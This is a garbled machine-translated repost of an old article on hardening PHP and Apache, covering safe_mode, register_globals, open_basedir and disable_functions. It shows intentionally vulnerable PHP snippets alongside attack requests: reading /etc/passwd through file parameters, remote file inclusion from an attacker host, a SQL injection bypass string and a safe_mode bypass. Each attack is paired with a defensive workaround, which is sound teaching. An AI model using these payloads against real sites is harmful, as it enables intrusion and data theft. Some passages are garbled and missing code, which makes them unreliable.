PHP Security Configuration
One, Web server security
PHP is really just a module function of Web server, so the security of Web server should be ensured first. Of course, the Web server to be secure and must be first to ensure that the system security, so far away, endless. PHP can be combined with a variety of Web servers, and this is just about Apache. It is highly recommended to install boot Apache in chroot mode, so that even if Apache and PHP and their scripts are compromised, only the system that is affected will not compromise the actual system. However, using Chroot Apache, the application will also bring some trouble, such as the connection to MySQL must use the 127.0.0.1 address with a TCP connection instead of localhost to achieve the socket connection, which is slightly less efficient. There is also a problem with the mail function sending mail, because in php.ini:
[Mail Function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
Sendmail_from = [email protected]
Are for the Win32 platform, so you need to adjust the sendmail in the chroot environment.
Second, the problem of PHP itself
1. Remote Overflow
File upload remote buffer Overflow vulnerability exists in all versions below PHP-4.1.2, and the attack program has been widely circulated, the success rate is very high:
PHP-4.2.0 and PHP-4.2.1 exist PHP Multipart/form-data post requests to handle remote vulnerabilities, although local user rights cannot be obtained, but can also cause a denial of service.
3. Safe_mode Bypass Vulnerability
There are PHP-4.2.2 the following to the PHP-4.0.5 version of the PHP mail function to bypass the safe_mode limit execution of the command vulnerability, 4.0.5 The start of the mail function added the fifth parameter, because the designer is ill-conceived to break through the safe_mode of the restrictions to execute the command. The 4.0.5 version break is very simple, just separated by a semicolon with the shell command, such as the existence of PHP script evil.php:
[Email Protected]endmail the-c parameter, so the system must be using SendMail. The following code can break the Safe_mode limit execution command:
Note that the following two must be non-existent, or their owner and the owner of the script are the same
$script = "/tmp/script123";
$CF = "/tmp/cf123";
Or use the above problematic version of PHP users must be in time to upgrade to the latest version, so as to eliminate the basic security issues.
Third, the security configuration of PHP itself
The configuration of PHP is very flexible and can be set by PHP.ini, httpd.conf,. htaccess files (which must be set allowoverride all or options), and can be used in the script Ini_set () and other specific functions to set. The Phpinfo () and Get_cfg_var () functions allow you to get the individual values of the configuration options.
If the configuration options are unique to the Php_ini_system property, they must be modified by php.ini and httpd.conf, which modify the master value of PHP, but must restart Apache after modification to take effect. Where php.ini sets the option to take effect on all scripts of the Web server, the option set in httpd.conf is for all scripts in the defined directory to take effect.
If there are other Php_ini_user, Php_ini_perdir, the Php_ini_all property option can be set using the. htaccess file, or by using the Ini_set () function in the script itself, which modifies the local value, It will take effect immediately after the change. But. htaccess is only valid for scripts in the current directory, and the Ini_set () function only takes effect after the script has set the Ini_set () function. The options properties may be different for each version, and you can find the main.c file of the current source code with the following command to get all the options, along with its properties:
# grep Php_ini_/php_src/main/main.c
Before discussing PHP security configuration, you should have a good understanding of PHP Safe_mode mode.
1, Safe_mode
Safe_mode is the only Php_ini_system property that must be set by PHP.ini or httpd.conf. To enable Safe_mode, simply modify the php.ini:
After restarting Apache, Safe_mode is in effect. Starting Safe_mode will limit many PHP functions, especially those related to the system, such as file opening, command execution, and so on.
All functions that manipulate files will only operate on the same file as the script uid, such as the contents of the test.php script:
In the browser request test.php will be prompted with the following error message:
Warning:safe MODE restriction in effect. The script whose uid/gid is 33/33 are not allowed to access./index.html owned by Uid/gid 0/0 in/var/www/test.php on line 1
If the file is in the same directory as the UID and script uid, then the UID of the file can be accessed even if it is different from the script, I do not know if this is a PHP vulnerability or otherwise. So the PHP script is the owner of the user is the best way to do this, absolutely prohibit the use of root as a PHP script owner, so that can not achieve safe_mode effect.
If you want to relax to the GID comparison, open safe_mode_gid to consider only comparing the GID of the file, you can set the following options:
Safe_mode_gid = On
After the Safe_mode is set, all functions executed by the command will be restricted to only the programs in the php.ini safe_mode_exec_dir the specified directory, and the shell_exec, ' ls-l ' execution of the command will be disabled. If you do need to call other programs, you can do the following in php.ini:
Safe_mode_exec_dir =/usr/local/php/exec
Then copy the program to the directory, then the PHP script can use functions such as system to execute the program. The shell scripts in the directory can also invoke system commands in other directories.
Safe_mode_include_dir string
The Uid/gid check is passed when this directory and its subdirectories (directories must be contained in include_path or with full paths) contain files.
Starting with PHP 4.2.0, this directive can accept a semicolon-delimited path to a style similar to the include_path directive, not just a directory.
The specified limit is actually a prefix, not a directory name. This means that "Safe_mode_include_dir =/DIR/INCL" will allow access to "/dir/include" and "/dir/incls" if they exist. If you want to control access to a specified directory, add a slash at the end, for example: "Safe_mode_include_dir =/dir/incl/".
Safe_mode_allowed_env_vars string
Setting certain environment variables can be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe mode, users can only change the environment variables whose names have the prefixes provided here. By default, users can only set environment variables that begin with PHP_ (for example, Php_foo = BAR).
Note: If this instruction is empty, PHP will allow the user to modify any environment variables!
Safe_mode_protected_env_vars string
This directive contains a comma-delimited list of environment variables that the end user cannot use to change these environment variables (putenv). These variables cannot be changed even when the Safe_mode_allowed_env_vars is set to allow modification.
Although Safe_mode is not omnipotent (the lower version of PHP can be bypassed), it is strongly recommended to turn on Safe mode to some extent to avoid some unknown attacks. However, there are many limitations to enabling Safe_mode, which can have an impact on your application, so you need to adjust your code and configuration to be harmonious. Functions that are restricted or shielded by Safe mode can refer to the PHP manual.
After discussing the Safe_mode, the following is a discussion of the actual possible problems with the program code to avoid the vulnerabilities through the configuration of the PHP server side.
2. Misuse of variables
php default register_globals = On, for GET, POST, Cookie, environment, session variables can be directly registered as global variables. Their registration order is Variables_order = "Egpcs" (Can be modified by php.ini), the same name variable variables_order the right side of the overlay to the left, so the misuse of variables is very easy to cause confusion of the program. And script programmers often do not have the habit of initializing variables, such as the following program fragment is very vulnerable to attack:
test_1.php
if ($pass = = "Hello")
$auth = 1;
if ($auth = = 1)
echo "Some important information";
Else
echo "Nothing";
?>
An attacker could bypass the check by simply requesting the following:
Http://victim/test_1.php?auth=1
This is a very retarded mistake, but some well-known programs have made such mistakes, such as Phpnuke remote file copy vulnerability: http://www.securityfocus.com/bid/3361
It is recommended to close register_globals when PHP-4.1.0 is released, and provide 7 special array variables to use the various variables. Variables from Get, POST, cookie, etc. are not directly registered as variables and must be accessed through array variables. When PHP-4.2.0 is released, the php.ini default configuration is Register_globals = Off. This allows the program to use PHP itself to initialize the default value, typically 0, to avoid the attacker to control the judgment variable.
Workaround:
Configuration file php.ini Set register_globals = Off.
Requires the programmer to initialize a value at the beginning of the program as a variable to be judged.
3. File Open
Extremely vulnerable snippets of code:
test_2.php
if (! ( $str = ReadFile ("$filename"))) {
Echo ("Could not open File: $filename
\ n ");
Exit
}
else {
Echo $str;
}
?>
Since an attacker could specify arbitrary $filename, an attacker could see/etc/passwd with the following request:
http://victim/test_2.php?filename=/etc/passwd
The following request can read the PHP file itself:
http://victim/test_2.php?filename=test_2.php
The file Open function in PHP also has fopen (), files (), and so on, if the file name variable check is not strict will cause the server important files are accessed read.
Workaround:
If not special needs, the PHP file operation is limited to the Web directory. Here is an example of modifying the Apache configuration file httpd.conf:
After restarting Apache, the PHP script in the/usr/local/apache/htdocs directory can only manipulate files in its own directory, or PHP will error:
Warning:open_basedir restriction in effect. File is in wrong directory with XXX on line xx.
Using the Safe_mode mode can also avoid this problem, as discussed earlier.
4. Include Files
Extremely vulnerable snippets of code:
test_3.php
if (file_exists ($filename))
Include ("$filename");
?>
This irresponsible code can be quite damaging, and the attacker could get the/etc/passwd file with the following request:
http://victim/test_3.php?filename=/etc/passwd
If the UNIX version of PHP (win version of PHP does not support the remote opening of files), the attacker can open an HTTP or FTP service on the machine to create a file containing shell commands, such as http://attack/attack.txt content is , the following request can execute command LS/ETC on the target host:
Attackers can even get code to execute commands by including Apache's log files Access.log and Error.log, but it is sometimes difficult to succeed because there is too much information to interfere with them.
For another form, the following code fragment:
test_4.php
Include ("$lib/config.php");
?>
An attacker could create a config.php file containing execution command code on his or her host, and then execute the command on the target host with the following request:
Http://victim/test_4.php?lib=http://attack
The included functions of PHP are include (), include_once (), require (), require_once. If you are not strict with the include file name variable, you will be severely dangerous to the system and can execute the command remotely.
Workaround:
Ask the programmer to include the parameters in the file as far as possible do not use variables, if the use of variables, you must strictly check the file name to be included, absolutely cannot be arbitrarily specified by the user.
Restricting the PHP operation path is a necessary option as in the previous file open. In addition, if not special needs, be sure to turn off the remote file open PHP function. To modify the php.ini file:
Allow_url_fopen = Off
Restart Apache.
5. File Upload
PHP file upload mechanism is to save the user's uploaded files in the php.ini Upload_tmp_dir defined temporary directory (default is the system's temporary directory, such as:/tmp) in a similar phpxxuoxg random temporary file, the program execution ends, the temporary file is also deleted. PHP defines four variables for uploaded files: (such as the form variable name is file, and register_globals Open)
Such upload code has a major problem in reading arbitrary files and executing commands.
The following request can copy the/etc/passwd document to the Web directory/usr/local/apache/htdocs/test (Note: This directory must be nobody writable) under the Attack.txt file:
You can then read the password file with the following request:
Http://victim/test/attack.txt
An attacker could copy a PHP file into another extension and leak the script source code.
An attacker can customize the value of the file_name variable in the form to upload a file that overrides any write permission.
Attackers can also upload commands from the PHP script execution host.
Workaround:
PHP-4.0.3 later provides the is_uploaded_file and Move_uploaded_file functions to check if the file being manipulated is a user-uploaded file, thus avoiding copying the system files to the Web directory.
Use the $http_post_files array to read the file variables uploaded by the user.
Check the upload variables Strictly. For example, PHP script files are not allowed.
Restricting PHP script operations to the Web directory avoids programmers using the copy function to copy system files to the Web directory. Move_uploaded_file is not restricted by open_basedir, so it is not necessary to modify the value of Upload_tmp_dir in php.ini.
The PHP script is encrypted with Phpencode to avoid leaking the source code due to the copy operation.
Strictly configure the file and directory permissions, only allow the uploaded directory to allow nobody users to write.
For the upload directory to remove the PHP interpretation function, you can modify the httpd.conf implementation:
Php_flag engine off
#如果是php3换成php3_engine off
Restart Apache,upload directory PHP file can not be interpreted by Apache, even if the php file upload is not a problem, can only directly display the source code.
6. Command execution
The following code snippet is taken from Phpnettoolpack, detailed description is shown in:
http://www.securityfocus.com/bid/4303
test_6.php
System ("Traceroute $a _query", $ret _strs);
?>
Because the program does not filter the $a_query variable, an attacker could append a command with a semicolon.
The attacker can execute the CAT/ETC/PASSWD command by entering the following request:
The command execution functions of PHP are also system (), PassThru (), Popen (), and so on. Command execution functions are very dangerous and use caution. Be sure to check user input strictly if you want to use it.
Workaround:
Requires programmers to use the Escapeshellcmd () function to filter user-entered Shell commands.
Enabling Safe_mode can eliminate many of the execution commands, but be aware that PHP's version must be up-to-date, and less than PHP-4.2.2 may bypass the Safe_mode restrictions to execute commands.
7, Sql_inject
The following SQL statement has a problem if the variable is not processed:
SELECT * FROM login where user= ' $user ' and pass= ' $pass '
An attacker could enter 1 ' or 1 = ' 1 bypass authentication for both username and password.
But fortunately PHP has a default option MAGIC_QUOTES_GPC = ON, which allows the variable to be automatically added to the addslashes () operation from Get, POST, and Cookie. The above SQL statement becomes:
SELECT * FROM login where user= ' 1\ ' or 1=\ ' 1 ' and pass= ' 1\ ' or 1=\ ' 1 '
This type of sql_inject attack is thus avoided.
For fields of numeric type, many programmers write this:
SELECT * FROM Test where id= $id
The Sql_inject attack is caused by the fact that the variable is not amplified with single quotes. Fortunately, MySQL has a simple function, no SQL Server and other databases have execute commands, and the PHP mysql_query () function is only allowed to execute an SQL statement, so the use of semicolons to separate multiple SQL statements can not be effective. But the attacker could at least make the query statement error, leaking some information from the system, or some unexpected situation.
Workaround:
Requires the programmer to filter all user-submitted variables to be placed in the SQL statement.
Even if a field of numeric type is used, the variable should be enclosed in single quotes, and MySQL will process the string into numbers.
In MySQL do not give the PHP program high-level permissions of users, only allow the operation of their own library, which also avoids the problem of the program is SELECT into OUTFILE ... This attack.
8. Warnings and error messages
PHP Displays all warnings and error messages by default:
error_reporting = E_all & ~e_notice
Display_errors = On
This is useful when developing debugging, and you can find the error of the program immediately, based on the warning message.
When used formally, warnings and error messages overwhelm the user and give the attacker the physical path to which the script resides, providing favorable information for further attacks. And because they do not have access to the wrong place, but can not promptly modify the program errors. So it's wise to log all of the warnings and error messages from PHP to a logfile, that is, not to give the attacker a physical path, but to let them know where the program is wrong.
Modify php.ini about the error handling and logging part of the content:
error_reporting = E_all
Display_errors = Off
Log_errors = On
Error_log =/usr/local/apache/logs/php_error.log
Then restart Apache, note that file/usr/local/apache/logs/php_error.log must be available for nobody users to write.
9, Disable_functions
If you feel that some functions are still a threat, you can set the disable_functions in php.ini (this option cannot be set in httpd.conf), such as:
Disable_functions = Phpinfo, Get_cfg_var
You can specify multiple functions, separated by commas. After restarting Apache, Phpinfo, Get_cfg_var functions are disabled. It is recommended to close the function phpinfo, Get_cfg_var, these two functions are easy to leak server information, and there is no practical use.
10, Disable_classes
This option is available from PHP-4.3.2, which can disable some classes if there are multiple separated class names with commas. Disable_classes can not be set in the httpd.conf, only in the php.ini configuration file can be modified.
11, Open_basedir
The previous analysis routine also mentions the use of Open_basedir to restrict the path of the script operation, and then introduce its features. The limit specified with Open_basedir is actually a prefix, not a directory name. This means "Open_basedir =/dir/incl" also allows access to "/dir/include" and "/dir/incls" if they exist. If you want to restrict access to only the specified directory, end the path name with a slash. For example: "Open_basedir =/dir/incl/".
You can set up multiple directories in Windows, separating the directories with semicolons. Separate the directories with colons in any other system. As an Apache module, the Open_basedir path in the parent directory is automatically inherited.
Iv. Other security configurations
1, cancellation of other users of common, important system commands read and write execution permissions
General Administrator maintenance only a normal user and administrative users, in addition to the two users, to other users can execute and access to the less things should be better, so the cancellation of other users of common, important system commands read and write execution permissions can be a program or service vulnerabilities in the time of the attackers to bring great confusion. Remember that you must also remove the permission to read, otherwise under Linux can be used/lib/ld-linux.so.2/bin/ls this way to execute.
If you want to cancel a certain course if it is in the chroot environment, the job is easier to achieve, otherwise, this work is still a bit of a challenge. Some services are not functioning properly because the execution permissions of some programs are canceled. The Mail function of PHP needs/bin/sh to call SendMail, so/bin/bash execution permission cannot be removed. It's a rather tiring job,
2, remove the Apache log other users Read permission
Apache's Access-log provides the door to some programs that contain vulnerabilities locally. By submitting a URL that contains PHP code, you can make Access-log contain PHP code, and then point the containing file to Access-log to execute those PHP code to gain local access.
If there are other virtual hosts, you should also remove the other users of the log file read permissions.
Of course, if you follow the previously described configuration of PHP then it is generally impossible to read the log file.
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.